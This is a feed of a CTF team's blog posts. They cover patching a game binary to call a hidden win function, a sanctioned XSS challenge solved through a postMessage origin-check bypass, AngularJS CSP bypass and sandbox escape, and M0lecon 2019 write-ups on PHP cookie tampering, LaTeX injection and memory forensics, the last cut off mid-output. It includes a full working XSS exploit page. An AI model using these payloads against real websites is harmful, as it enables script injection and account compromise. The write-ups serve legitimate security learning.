JBZ CTF Team We Criuz, che si owna di bello? https://jbzteam.github.io/ Sun, 15 Nov 2020 21:09:43 +0000 Sun, 15 Nov 2020 21:09:43 +0000 Jekyll v3.9.0 m0leCon CTF 2020 - The Rickshank Rickdemption <p>The chall was a RPG Pokemon-like client-only game.<br /> The objectives are:</p> <ul> <li>Kill all the Mortys (but sadly every Morty is stronger than you)</li> <li>Find the flag</li> </ul> <p>The first thing you can notice is the save function, that creates a <code class="language-plaintext highlighter-rouge">minigame.sav</code> file.<br /> After some saves you can see that it saves the player position, which Morty you have caught and the helpers &amp; objects you got.<br /> But, at the end of the file there is a 256bit alywas-changing signature.</p> <p>We started reversing the challenge’s binary file to understand how the signature was made, but then we stumbled upon the <code class="language-plaintext highlighter-rouge">winFunc</code> function.</p> <p>Apparently the function is never called, so we decided to arbitrary call it.</p> <p>GDB? Nah.<br /> Frida? Nah.<br /> We pathed the binary file.</p> <p>Apparently every “level”/”stage” has its dedicated function that’s called once you enter it, so the game can draw the “scene” and place the “sprites”.</p> <p>Last time we saved we were in level 7, so we decided to swap the call to <code class="language-plaintext highlighter-rouge">pausegame</code> (the function that is called when you press ‘P’) with a call to <code class="language-plaintext highlighter-rouge">winFunc</code> inside the <code class="language-plaintext highlighter-rouge">level7</code> function.</p> <p>As simple as swapping <code class="language-plaintext highlighter-rouge">66492B00</code> for <code class="language-plaintext highlighter-rouge">5CBC0000</code> at offset <code class="language-plaintext highlighter-rouge">0x40AF76</code>.<br /> PS: Those two are the relative offset for the <a href="https://www.felixcloutier.com/x86/call">CALL opcode</a> in little endian form.</p> <p>Then we started out patched binary, we loaded the savefile and pressed ‘P’.</p> <p><img src="https://raw.githubusercontent.com/jbzteam/CTF/master/m0lecon2020/pnaIZd6.png" alt="flag" /></p> Sun, 15 Nov 2020 22:00:00 +0000 https://jbzteam.github.io/m0leconctf2020/The_Rickshank_Rickdemption https://jbzteam.github.io/m0leconctf2020/The_Rickshank_Rickdemption Reverse m0leconCTF2020 BugPoc - Buggy Calculator <p>Everything started with a <a href="https://twitter.com/bugpoc_official/status/1291767806216765443">Tweet</a>:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Check out our new XSS Challenge- $2,000 worth of prize money! Submit solutions to http://hackerone.com/bugpoc before 08/12. Rules: Must alert(domain), Must bypass CSP, Must work in Chrome, Must provide a BugPoC demo Good luck! #XSS #CTF #bugbounty #hacked </code></pre></div></div> <h3 id="finding-attacker-controllable-input">Finding attacker-controllable input</h3> <p>When dealing with XSS challenges the very first step is to find some attacker-controllable input that can be used as a vector to exploit the actual XSS.<br /> This task is particularly easy in this challenge as the buggy calculator uses an <code class="language-plaintext highlighter-rouge">iframe</code> as calculator display and sends content updates through the <code class="language-plaintext highlighter-rouge">window.postMessage()</code> API. <strong>frame.html</strong></p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="cp">&lt;!DOCTYPE html&gt;</span> <span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;</span> <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"UTF-8"</span><span class="nt">&gt;</span> <span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"Content-Security-Policy"</span> <span class="na">content=</span><span class="s">"script-src 'unsafe-eval' 'self'; object-src 'none'"</span><span class="nt">&gt;</span> <span class="nt">&lt;link</span> <span class="na">href=</span><span class="s">'https://fonts.googleapis.com/css?family=Ubuntu:400,700'</span> <span class="na">rel=</span><span class="s">'stylesheet'</span> <span class="na">type=</span><span class="s">'text/css'</span><span class="nt">&gt;</span> <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"frame.js"</span><span class="nt">&gt;&lt;/script&gt;</span> <span class="nt">&lt;style&gt;</span> <span class="nt">html</span> <span class="p">{</span> <span class="nl">clear</span><span class="p">:</span> <span class="nb">both</span><span class="p">;</span> <span class="nl">font-family</span><span class="p">:</span> <span class="n">digital</span><span class="p">;</span> <span class="nl">font-size</span><span class="p">:</span> <span class="m">24px</span><span class="p">;</span> <span class="nl">text-align</span><span class="p">:</span> <span class="nb">right</span><span class="p">;</span> <span class="nl">letter-spacing</span><span class="p">:</span> <span class="m">5px</span><span class="p">;</span> <span class="nl">font-family</span><span class="p">:</span> <span class="s2">'Ubuntu'</span><span class="p">,</span> <span class="nb">sans-serif</span><span class="p">;</span> <span class="nl">overflow</span><span class="p">:</span> <span class="nb">hidden</span><span class="p">;</span> <span class="p">}</span> <span class="nt">&lt;/style&gt;</span> <span class="nt">&lt;title&gt;&lt;/title&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span> 0 <span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span></code></pre></figure> <p><strong>frame.js</strong></p> <figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">message</span><span class="dl">"</span><span class="p">,</span> <span class="nx">receiveMessage</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span> <span class="kd">function</span> <span class="nx">receiveMessage</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// verify sender is trusted</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="sr">/^http:</span><span class="se">\/\/</span><span class="sr">calc.buggywebsite.com/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">origin</span><span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="p">}</span> <span class="c1">// display message </span> <span class="nx">msg</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="nx">msg</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">off</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">style</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">#95A799</span><span class="dl">'</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">msg</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">on</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">style</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">black</span><span class="dl">'</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">'</span><span class="dl">"</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">&amp;</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">innerHTML</span><span class="o">=</span><span class="nx">msg</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span></code></pre></figure> <h3 id="how-postmessage-works">How postMessage works?</h3> <p>To understand why the <code class="language-plaintext highlighter-rouge">frame.html</code> page was chosen as our target it’s required to explain how <code class="language-plaintext highlighter-rouge">window.postMessage()</code> works. With the help of <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage">MDN web docs</a> we can understand that:</p> <blockquote> <p>The <code class="language-plaintext highlighter-rouge">window.postMessage()</code> method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.</p> </blockquote> <p>So we can send a cross-origin message between two <code class="language-plaintext highlighter-rouge">Window</code> elements. Nice!</p> <p>Following the documentation we can understand that on the recipient <code class="language-plaintext highlighter-rouge">Window</code> messages are handled by the callback function defined in the <code class="language-plaintext highlighter-rouge">EventListener</code> (in our case <code class="language-plaintext highlighter-rouge">receiveMessage</code>) and that the object passed to the callback contains the following properties:</p> <ul> <li><strong>data</strong> - <em>The object passed from the other window.</em></li> <li><strong>origin</strong> - <em>The origin of the window that sent the message at the time postMessage was called. This string is the concatenation of the protocol and “://”, the host name if one exists, and “:” followed by a port number if a port is present and differs from the default port for the given protocol.</em></li> <li><strong>source</strong> - <em>A reference to the window object that sent the message; you can use this to establish two-way communication between two windows with different origins.</em></li> </ul> <h3 id="analysing-the-eventlistener">Analysing the EventListener</h3> <p>Knowing that we can send messages with the <code class="language-plaintext highlighter-rouge">window.postMessage()</code> API we should check what the <code class="language-plaintext highlighter-rouge">EventListener</code> does.</p> <p>First it checks that the <code class="language-plaintext highlighter-rouge">origin</code> of the message is compliant to a specific RegEx:</p> <figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="sr">/^http:</span><span class="se">\/\/</span><span class="sr">calc.buggywebsite.com/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">origin</span><span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="p">}</span></code></pre></figure> <p>Then it checks if the content of the message is <code class="language-plaintext highlighter-rouge">on</code> or <code class="language-plaintext highlighter-rouge">off</code> to turn on or off the display and finally if it’s different from the previous 2 cases it adds its content to the page via the <code class="language-plaintext highlighter-rouge">innerHTML</code> API (which would give us <code class="language-plaintext highlighter-rouge">HTML</code> injection as threats strings as trusted <code class="language-plaintext highlighter-rouge">HTML</code> code) given the fact that the input does not contain the character <code class="language-plaintext highlighter-rouge">'</code> and the character <code class="language-plaintext highlighter-rouge">&amp;</code>.</p> <figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"> <span class="c1">// display message </span> <span class="nx">msg</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="nx">msg</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">off</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">style</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">#95A799</span><span class="dl">'</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">msg</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">on</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">style</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">black</span><span class="dl">'</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">'</span><span class="dl">"</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">&amp;</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">innerHTML</span><span class="o">=</span><span class="nx">msg</span><span class="p">;</span> <span class="p">}</span></code></pre></figure> <h3 id="bypassing-the-eventorigin-check">Bypassing the event.origin check</h3> <p>As seen in the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage">documentation</a> the <code class="language-plaintext highlighter-rouge">event.origin</code> property contains the protocol + <code class="language-plaintext highlighter-rouge">://</code> + the domain + <code class="language-plaintext highlighter-rouge">:</code> + the port of the page sending the message. Such origin is checked via the following regEx <code class="language-plaintext highlighter-rouge">/^http:\/\/calc.buggywebsite.com/</code>, which stands for <code class="language-plaintext highlighter-rouge">event.origin</code> should start with <code class="language-plaintext highlighter-rouge">http://calc.buggywebsite.com</code>.</p> <p><em>Can we bypass this check?</em> Of course! Anyone could create a subdomain which starts with <code class="language-plaintext highlighter-rouge">calc.buggywebsite.com</code> (i.e. <code class="language-plaintext highlighter-rouge">calc.buggywebsite.com.attacker.tld</code>).</p> <p><em>Ok, but I don’t want to buy a domain and I don’t have one…</em> That’s not a big deal online services like <a href="https://xip.io">xip.io</a> could be used to quickly reproduce this locally (i.e. <code class="language-plaintext highlighter-rouge">http://calc.buggywebsite.com.127.0.0.1.xip.io:8000/</code> could be used to point to a local <code class="language-plaintext highlighter-rouge">HTTP</code> server on port <code class="language-plaintext highlighter-rouge">8000</code> with a domain which bypasses the check). Moreover, while submitting the final PoC through <a href="https://bugpoc.com">BugPoc.com</a> I realized that it also allows us to change the subdomain of the PoC!</p> <p>Given the aforementioned bypass, we can use our desired trick to host the following HTLM page, which embeds <code class="language-plaintext highlighter-rouge">http://calc.buggywebsite.com/frame.html</code> in an iframe and sends a message to it containing <code class="language-plaintext highlighter-rouge">test</code>.</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"http://calc.buggywebsite.com/frame.html"</span> <span class="na">name=</span><span class="s">"target"</span><span class="nt">&gt;&lt;/iframe&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="nx">win</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">frames</span><span class="p">.</span><span class="nx">target</span><span class="p">;</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span> <span class="nb">window</span><span class="p">.</span><span class="nx">frames</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="dl">"</span><span class="s2">test</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">http://calc.buggywebsite.com/</span><span class="dl">"</span><span class="p">);</span> <span class="p">},</span> <span class="mi">1000</span><span class="p">);</span> <span class="nt">&lt;/script&gt;</span></code></pre></figure> <p><img src="https://jbzteam.github.io/assets/BugPoc/BugPoc-1.JPG" alt="PoC creation on BugPoc" /></p> <p><img src="https://jbzteam.github.io/assets/BugPoc/BugPoc-2.JPG" alt="PoC execution on BugPoc" /></p> <h3 id="challenge-solved1">Challenge solved!!1!</h3> <p>So now we have our working exploit to the HTML injection, we just need to send a simple <code class="language-plaintext highlighter-rouge">&lt;img src=c onerror=alert(1)&gt;</code> to exploit the XSS, right?</p> <p><img src="https://jbzteam.github.io/assets/BugPoc/BugPoc-3.JPG" alt="Content-Security-Policy blocking payload" /></p> <p>Not so fast, as can be seen the the <code class="language-plaintext highlighter-rouge">frame.html</code> <code class="language-plaintext highlighter-rouge">&lt;head&gt;</code> section a <code class="language-plaintext highlighter-rouge">&lt;meta&gt;</code> tag declaring a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content-Security-Policy</a> is present.</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"Content-Security-Policy"</span> <span class="na">content=</span><span class="s">"script-src 'unsafe-eval' 'self'; object-src 'none'"</span><span class="nt">&gt;</span></code></pre></figure> <h3 id="csp-analysis">CSP analysis</h3> <p>The aforementioned CSP has allows to:</p> <ul> <li>use the <code class="language-plaintext highlighter-rouge">eval</code> and <code class="language-plaintext highlighter-rouge">eval</code>-like JavaScript functions</li> <li>load arbitrary JavaScript scripts from the <code class="language-plaintext highlighter-rouge">self</code>, aka the <code class="language-plaintext highlighter-rouge">calc.buggywebsite.com</code> domain</li> </ul> <p>Usually, the second point is useful when the target website allows us to upload arbitrary files, then we can upload a <code class="language-plaintext highlighter-rouge">JavaScript</code> script and load it via <code class="language-plaintext highlighter-rouge">&lt;script src=/path/to/script.js&gt;&lt;/script&gt;</code>, but obviously a calculator doesn’t allow any file upload.</p> <p>The other useful scenario is when we have some nice scripts hosted on the target domain which we can abuse and that’s the case! Going back to the homepage of the calculator we can spot the inclusion of <code class="language-plaintext highlighter-rouge">http://calc.buggywebsite.com/angular.min.js</code>, which is <code class="language-plaintext highlighter-rouge">AngularJS 1.5.6</code>.</p> <h3 id="csp-bypass-with-angularjs">CSP bypass with AngularJS</h3> <p>Bypassing the CSPs with AngularJS is a well-known technique, in fact when AngularJS is loaded in a page and you have an HTML injection you can create a new <code class="language-plaintext highlighter-rouge">ng-app</code> and write any AngularJS script between the curly brackets.<br /> Unfortunately, we don’t have AngularJS loaded in the <code class="language-plaintext highlighter-rouge">/frame.html</code> page, but we have an <code class="language-plaintext highlighter-rouge">HTML</code> injection, so we can just inject a <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag and load <code class="language-plaintext highlighter-rouge">angular.min.js</code> right? Incorrect! Adding a <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag with <code class="language-plaintext highlighter-rouge">innerHTML</code> is <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#Security_considerations">basically useless</a>.</p> <p><em>What about creating a full new document?</em> Yeah, that’s the way! We can inject an <code class="language-plaintext highlighter-rouge">iframe</code> inside the <code class="language-plaintext highlighter-rouge">iframe</code> and set an arbitrary <code class="language-plaintext highlighter-rouge">HTML</code> content via the <code class="language-plaintext highlighter-rouge">srcdoc</code> attribute!</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"http://calc.buggywebsite.com/frame.html"</span> <span class="na">name=</span><span class="s">"target"</span><span class="nt">&gt;&lt;/iframe&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="nx">win</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">frames</span><span class="p">.</span><span class="nx">target</span><span class="p">;</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span> <span class="nb">window</span><span class="p">.</span><span class="nx">frames</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="dl">'</span><span class="se">\</span><span class="s1">u003ciframe srcdoc="</span><span class="se">\</span><span class="s1">u003cscript src=/angular.min.js</span><span class="se">\</span><span class="s1">u003E</span><span class="se">\</span><span class="s1">u003c/script</span><span class="se">\</span><span class="s1">u003e</span><span class="se">\</span><span class="s1">u003cdiv ng-app</span><span class="se">\</span><span class="s1">u003e{{6*7}}</span><span class="se">\</span><span class="s1">u003c/div</span><span class="se">\</span><span class="s1">u003E"</span><span class="se">\</span><span class="s1">u003E</span><span class="se">\</span><span class="s1">u003c/iframe</span><span class="se">\</span><span class="s1">u003E</span><span class="dl">'</span><span class="p">,</span><span class="dl">"</span><span class="s2">http://calc.buggywebsite.com/</span><span class="dl">"</span><span class="p">);</span> <span class="p">},</span> <span class="mi">1000</span><span class="p">);</span> <span class="nt">&lt;/script&gt;</span></code></pre></figure> <p><img src="https://jbzteam.github.io/assets/BugPoc/BugPoc-4.JPG" alt="AngularJS injection" /></p> <h3 id="angularjs-sandbox-escape-and-filter-bypass">AngularJS sandbox escape and filter bypass</h3> <p>AngularJS from version 1.0 to version 1.5.9 has a sandbox, which <a href="http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html">was removed in version 1.6</a>. The idea of the sandbox was to prevent attackers able to inject AngularJS code to automatically obtain arbitrary JavaScript injection. After an <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md">infinite list of bypasses</a> the AngularJS team just removed the sandbox. 🤷🏾‍♂️</p> <p>Fortunately for us a known sandbox escape for version 1.5.6 is available:</p> <figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="p">{{</span><span class="nx">x</span> <span class="o">=</span> <span class="p">{</span><span class="dl">'</span><span class="s1">y</span><span class="dl">'</span><span class="p">:</span><span class="dl">''</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">};</span> <span class="nx">x</span><span class="p">[</span><span class="dl">'</span><span class="s1">y</span><span class="dl">'</span><span class="p">].</span><span class="nx">charAt</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span><span class="nx">$eval</span><span class="p">(</span><span class="dl">'</span><span class="s1">x=alert(1)</span><span class="dl">'</span><span class="p">);}}</span></code></pre></figure> <p>Unfortunately for us, we can’t use single quotes and we can’t even use the common <code class="language-plaintext highlighter-rouge">srcdoc</code> trick to encode characters in <code class="language-plaintext highlighter-rouge">HTML entities</code> as the <code class="language-plaintext highlighter-rouge">&amp;</code> character is blacklisted.</p> <p>The only option is to use some <code class="language-plaintext highlighter-rouge">JavaScript-fu</code> and refactor the code not to use those characters!</p> <p>The first step is to create a dict having as key a <code class="language-plaintext highlighter-rouge">String</code> and as value the <code class="language-plaintext highlighter-rouge">prototype</code> of the <code class="language-plaintext highlighter-rouge">constructor</code> of a <code class="language-plaintext highlighter-rouge">String</code>. In JavaScript, we can create an empty string with <code class="language-plaintext highlighter-rouge">([]+[])</code> (stolen from <a href="https://github.com/aemkei/jsfuck/blob/master/jsfuck.js#L20">JSFuck</a>) allowing us to easily rewrite the first part of the sandbox escape without <code class="language-plaintext highlighter-rouge">'</code> and <code class="language-plaintext highlighter-rouge">&amp;</code>.</p> <figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nx">x</span> <span class="o">=</span> <span class="p">{};</span> <span class="nx">x</span><span class="p">[([]</span><span class="o">+</span><span class="p">[])]</span><span class="o">=</span><span class="p">([]</span><span class="o">+</span><span class="p">[]).</span><span class="kd">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">;</span> <span class="nx">x</span><span class="p">[([]</span><span class="o">+</span><span class="p">[])].</span><span class="nx">charAt</span><span class="o">=</span><span class="p">[].</span><span class="nx">join</span><span class="p">;</span></code></pre></figure> <p>For the second part, we can retrieve from the <code class="language-plaintext highlighter-rouge">String</code> <code class="language-plaintext highlighter-rouge">constructor</code> the <code class="language-plaintext highlighter-rouge">fromCharCode()</code> function and create a string out of the <code class="language-plaintext highlighter-rouge">ASCII</code> representation of characters.</p> <figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nx">$eval</span><span class="p">(</span><span class="nx">x</span><span class="p">[([]</span><span class="o">+</span><span class="p">[])].</span><span class="kd">constructor</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">120</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">108</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">40</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">46</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">41</span><span class="p">));</span></code></pre></figure> <p>Wrapping everything together we have our final exploit</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"http://calc.buggywebsite.com/frame.html"</span> <span class="na">name=</span><span class="s">"target"</span><span class="nt">&gt;&lt;/iframe&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="nx">win</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">frames</span><span class="p">.</span><span class="nx">target</span><span class="p">;</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span> <span class="nb">window</span><span class="p">.</span><span class="nx">frames</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="nx">unescape</span><span class="p">(</span><span class="dl">'</span><span class="s1">%3Ciframe%20srcdoc%3D%22%3Cscript%20src%3D/angular.min.js%3E%3C/script%3E%3Cdiv%20ng-app%3E%7B%7B%20x%20%3D%20%7B%7D%3B%20x%5B%28%5B%5D+%5B%5D%29%5D%3D%28%5B%5D+%5B%5D%29.constructor.prototype%3B%20x%5B%28%5B%5D+%5B%5D%29%5D.charAt%3D%5B%5D.join%3B%24eval%28x%5B%28%5B%5D+%5B%5D%29%5D.constructor.fromCharCode%28120%2C61%2C97%2C108%2C101%2C114%2C116%2C40%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C100%2C111%2C109%2C97%2C105%2C110%2C41%29%29%3B%7D%7D%3C/div%3E%22%3E%3C/iframe%3E</span><span class="dl">'</span><span class="p">),</span><span class="dl">"</span><span class="s2">http://calc.buggywebsite.com/</span><span class="dl">"</span><span class="p">);</span> <span class="p">},</span> <span class="mi">1000</span><span class="p">);</span> <span class="nt">&lt;/script&gt;</span></code></pre></figure> <p><img src="https://jbzteam.github.io/assets/BugPoc/BugPoc-5.JPG" alt="Final exploit" /></p> <p>To see it in action on BugPoc.com:<br /> <strong>URL:</strong> <a href="https://bugpoc.com/poc#bp-jOA9FIM9">https://bugpoc.com/poc#bp-jOA9FIM9</a><br /> <strong>Password:</strong> <code class="language-plaintext highlighter-rouge">enoUgHHOrse25</code></p> <p>👋🏾 by <a href="https://twitter.com/smaury92">smaury</a></p> Wed, 12 Aug 2020 00:00:00 +0000 https://jbzteam.github.io/bugpoc/Buggy-Calculator https://jbzteam.github.io/bugpoc/Buggy-Calculator Web BugPoc M0lecon 2019 <p>This was an on-site CTF by the Polictenico di Torino’s CTF team <a href="https://pwnthemole.github.io">pwnthem0le</a>, which took place during the <a href="https://2019.m0lecon.it/">M0lecon 2019 event</a>. Our team <a href="https://twitter.com/JBZTeam/status/1200850516131102731">won the competition</a> :D</p> <h2 id="web-1">Web 1</h2> <ul> <li>You can login with any user and any password, but the admin user</li> <li>When you login a <code class="language-plaintext highlighter-rouge">login</code> cookie is set with a base64 encoded PHP object (e.g. <code class="language-plaintext highlighter-rouge">base64_encode('O:4:"User":3:{s:2:"id";i:2;s:8:"username";s:1:"'";s:5:"admin";b:0;}')</code>)</li> <li>By changing the PHP object to use the <code class="language-plaintext highlighter-rouge">admin</code> as <code class="language-plaintext highlighter-rouge">username</code> and the boolean property <code class="language-plaintext highlighter-rouge">admin</code> as <code class="language-plaintext highlighter-rouge">true</code> you become admin and get the flag</li> </ul> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{Cl455_S3r14l1z4t10n_15_B34ut1ful}</code></p> <h2 id="web-2">Web 2</h2> <ul> <li>You have a web portal which allows to write articles in <code class="language-plaintext highlighter-rouge">LaTeX</code></li> <li><code class="language-plaintext highlighter-rouge">LaTeX</code> in its syntax has some commands which allow <code class="language-plaintext highlighter-rouge">RCE</code></li> <li>No filter were in place, so a simple copy/paste from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/404afd1d719b59c2a7600b83b5ed4583f8c822e9/LaTeX%20Injection">PayloadsAllTheThings</a> did the trick</li> <li>Using an OOB channel was the best way for us to extract the <code class="language-plaintext highlighter-rouge">config.php</code> file which contained the <code class="language-plaintext highlighter-rouge">flag</code></li> </ul> <p>Flag: <code class="language-plaintext highlighter-rouge">ptm{L4t3x_1nj3ct10n_1s_c00l}</code></p> <h2 id="fore">Fore</h2> <ul> <li>In this chall you need to analyze the file dmp with volatility framework; from the chall page you can download two files: the first one is the dump, the second one the suggested profile.</li> <li> <p>The profile need to be moved in the right path(/volatility/volatility/plugins/overlays/linux) before start volatility.</p> </li> <li>In order to find the correct profile name you can use this command: <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> python vol.py --info | grep -i mint </code></pre></div> </div> </li> <li>After that, we have started to analyze dump; in this case the memory dump is made from a Linux system, and the command set from volatility to analyze Linux memory dump is a little bit restricted than Windows memory analysis command-set. <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> root@kali:python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_pslist Volatility Foundation Volatility Framework 2.6.1 Offset Name Pid PPid Uid Gid DTB Start Time ------------------ -------------------- --------------- --------------- --------------- ------ ------------------ ---------- -- trim -- 0xffff8800542aa740 bash 2302 2296 1000 1000 0x00000000543f3000 2019-11-29 22:29:41 UTC+0000 0xffff88005719e220 thunderbird 2319 2184 1000 1000 0x00000000542ec000 2019-11-29 22:29:43 UTC+0000 0xffff8800788e44b0 cinnamon-screen 2380 1741 1000 1000 0x0000000054397000 2019-11-29 22:29:48 UTC+0000 0xffff880079c86bf0 mintupdate-laun 2381 1741 1000 1000 0x0000000057274000 2019-11-29 22:29:48 UTC+0000 0xffff8800788cbae0 sh 2384 2381 1000 1000 0x0000000078398000 2019-11-29 22:29:48 UTC+0000 -- trim -- </code></pre></div> </div> </li> <li>Between system processes and other useless stuff, we can find a Thunderbird istance; Thunderbird execution is fairly automated.</li> <li>We can try to use linux_bash to see the history of used command and find something about Thunderbird. <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_bash Volatility Foundation Volatility Framework 2.6.1 Pid Name Command Time Command -------- -------------------- ------------------------------ ------- -- trim -- 2302 bash 